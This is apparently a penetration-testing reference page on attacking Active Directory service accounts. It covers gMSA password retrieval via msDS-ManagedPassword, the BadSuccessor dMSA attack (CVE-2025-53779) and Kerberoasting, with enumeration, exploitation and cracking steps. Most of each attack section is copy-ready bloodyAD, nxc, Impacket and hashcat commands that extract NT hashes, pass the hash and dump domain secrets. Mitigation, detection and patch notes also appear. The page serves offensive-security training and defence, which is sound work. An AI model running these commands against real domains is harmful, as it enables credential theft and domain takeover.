Skip to main content
Service accounts run services, scheduled tasks, and background processes under a dedicated identity. They are high-value targets: they tend to carry elevated privileges, often have SPNs registered, and receive far less operational scrutiny than user accounts.

Account Types

Regular SAMSAgMSAdMSA
Password rotationManualAuto (30d)Auto (30d)Auto
Multi-hostYesNo (1 host)YesYes
KerberoastableYes (if SPN)YesYesNo
NT hash extractableVia dumpNoVia LDAP (if in group)Via key package
Min. Windows ServerAny2008 R220122025
Attack primitiveKerberoast / dumpKerberoastmsDS-ManagedPasswordBadSuccessor
Regular user accounts as service accounts compound risk: passwords are rarely rotated, SPNs are frequently registered, and the account is directly Kerberoastable. A cracked hash is valid until someone manually resets it. MSA (Managed Service Account) automates password rotation but is bound to a single host. Rarely seen in modern environments. gMSA (Group MSA) extends MSA to multiple hosts. The password is derived from the KDS root key and never exposed as plaintext. Retrievable only by accounts listed in msDS-GroupMSAMembership. dMSA (Delegated MSA) is new in Windows Server 2025, designed to replace regular service accounts via a migration mechanic. The predecessor’s SIDs are inherited into the dMSA’s PAC, which is the root of CVE-2025-53779 (BadSuccessor).

gMSA

How It Works

The domain-wide KDS root key is created once per domain. Each gMSA’s 256-bit password is derived deterministically from:
  • The KDS root key
  • The account name and domain
  • A time counter that advances every 30 days
The KDC recomputes this derivation server-side. Hosts that appear in the msDS-GroupMSAMembership ACL can retrieve msDS-ManagedPassword from LDAP, a blob containing the current and previous NT hashes. The password never travels as plaintext.

Enumeration

# List all gMSAs and who can retrieve their password
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get search --filter '(objectClass=msDS-GroupManagedServiceAccount)' \
  --attr sAMAccountName,msDS-GroupMSAMembership

# Check retrieval group for a specific gMSA
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object '$GMSA_NAME$' --attr msDS-GroupMSAMembership

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD --gmsa
# PowerView
Get-ADServiceAccount -Filter * -Properties msDS-GroupMSAMembership,PrincipalsAllowedToRetrieveManagedPassword

Attack: Retrieve NT Hash via msDS-ManagedPassword

If your controlled account is listed in msDS-GroupMSAMembership, or you have write access to add yourself there, you can retrieve the password blob and extract the NT hash directly.
# Step 1: Confirm or add yourself to the retrieval group
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object '$GMSA_NAME$' --attr msDS-GroupMSAMembership

# If you have GenericWrite over the gMSA: add your account to the allowed group
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add groupMember '$GMSA_ALLOWED_GROUP' '$USER'

# Step 2: Retrieve the managed password blob and extract the NT hash
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object '$GMSA_NAME$' --attr msDS-ManagedPassword

# Alternative: gMSADumper (parses the blob and prints the NT hash directly)
python3 gMSADumper.py -u $USER -p $PASSWORD -l $DC_IP -d $DOMAIN
# Output: gmsa_name$:::NT_HASH
The NT hash can be used directly for pass-the-hash without cracking.
nxc smb $TARGET -u '$GMSA_NAME$' -H $NT_HASH
secretsdump.py -hashes :$NT_HASH '$DOMAIN/$GMSA_NAME$'@$DC_HOST

Mitigations

  • Restrict msDS-GroupMSAMembership to the minimum set of hosts that actually run the service.
  • Audit GenericWrite / GenericAll over gMSA objects via BloodHound or ACL enumeration.
  • Monitor LDAP reads of msDS-ManagedPassword (Event 4662, property msDS-ManagedPassword).

dMSA and BadSuccessor (CVE-2025-53779)

How dMSA Migration Works

dMSA provides a migration path from regular service accounts. The key attributes:
  • msDS-ManagedAccountPrecededByLink: points to the predecessor account DN
  • msDS-DelegatedMSAState: tracks migration state
    • 0: not started
    • 1: migration in progress (dMSA accumulates predecessor SIDs, predecessor still active)
    • 2: migration complete (predecessor disabled, dMSA fully inherits SIDs)
When the DC issues a TGT for a dMSA in state 1 or 2, it includes the predecessor account’s objectSid and all group SIDs in the PAC. A dMSA linked to a Domain Admin effectively becomes that Domain Admin from the KDC’s perspective.

KERB-DMSA-KEY-PACKAGE

The AS-REP for a dMSA contains a KERB-DMSA-KEY-PACKAGE in its encrypted payload. It holds two key sets:
  • current-keys: the dMSA’s own Kerberos keys (AES256, AES128, RC4)
  • previous-keys: the predecessor account’s keys at migration time
The predecessor’s NT hash (RC4 key) ends up in previous-keys because the DC preserves the old credential for compatibility during the migration window. Since you created the dMSA and set its password, you can decrypt the AS-REP, parse the key package, and extract the predecessor’s NT hash.

Why the Attack Works

Any principal with CreateChild rights on an OU can:
  1. Create a dMSA in that OU
  2. Set msDS-ManagedAccountPrecededByLink to any account in the domain (no write on the predecessor required)
  3. Set msDS-DelegatedMSAState to 2
  4. Request a TGT: the PAC contains the predecessor’s SIDs and the AS-REP contains the predecessor’s NT hash in the key package
No write access on the predecessor is needed. The only prerequisite is CreateChild on any OU.

Enumeration

# Find OUs where your account has CreateChild rights
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get writable --otype OU

# Check for existing dMSAs and their migration state
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get search --filter '(objectClass=msDS-DelegatedManagedServiceAccount)' \
  --attr sAMAccountName,msDS-ManagedAccountPrecededByLink,msDS-DelegatedMSAState
# Official PoC enumeration script
Import-Module .\Get-BadSuccessorOUPermissions.ps1
Get-BadSuccessorOUPermissions

Attack Chain

# Step 1: Create a dMSA linked to a high-privilege predecessor
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add badSuccessor '$DMSA_NAME' \
  --ou '$OU_DN' \
  --predecessor '$TARGET_ACCOUNT'

# Step 2: Request a TGT for the dMSA
getTGT.py '$DOMAIN/$DMSA_NAME$:$DMSA_PASS' -dc-ip $DC_IP
export KRB5CCNAME=$(pwd)/$DMSA_NAME.ccache

# Step 3: Extract the predecessor NT hash from the key package
python3 dmsa-keydump.py $DMSA_NAME.ccache
# Output: [*] Predecessor NT: <HASH>

# Step 4: Pass-the-hash as the predecessor
secretsdump.py -hashes :$NT_HASH '$DOMAIN/$TARGET_ACCOUNT'@$DC_HOST
nxc smb $DC_IP -u $TARGET_ACCOUNT -H $NT_HASH

dMSA_keydump

Parses the KERB-DMSA-KEY-PACKAGE from a dMSA ccache and extracts the predecessor NT hash

Patch Status

Microsoft patched CVE-2025-53779 by requiring a bidirectional link: msDS-ManagedAccountPrecededByLink on the dMSA and a corresponding back-link on the predecessor object. Post-patch, write access on the predecessor is required to establish the link, which defeats the attack for most scenarios. Verify patch status before attempting.

Detection

Event IDSourceTrigger
5137SecurityDirectory object created (dMSA creation)
5136SecurityDirectory object modified (state or link set)
2946SystemdMSA migration state change
Monitor for msDS-DelegatedMSAState set to 2 by non-privileged accounts, and for msDS-ManagedAccountPrecededByLink pointing to privileged accounts.

Kerberoasting Service Accounts

Service accounts with SPNs are Kerberoastable regardless of account type. gMSAs are Kerberoastable but the password is 256 bits of random data and practically uncrackable: target msDS-ManagedPassword instead. dMSAs do not use RC4 by default and are not Kerberoastable.

Enumeration

# All user accounts with SPNs (kerberoastable)
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP

# bloodyAD
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get search \
  --filter '(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))' \
  --attr sAMAccountName,servicePrincipalName

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD --kerberoasting output.txt

Requesting and Cracking

# Request TGS for all kerberoastable accounts
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.kerberoast

# Crack (mode 13100 = RC4, 19600 = AES128, 19700 = AES256)
hashcat -m 13100 hashes.kerberoast $WORDLIST
hashcat -m 19700 hashes.kerberoast $WORDLIST
See Kerberoasting for the full targeted attack chain, AES downgrade, and faketime usage.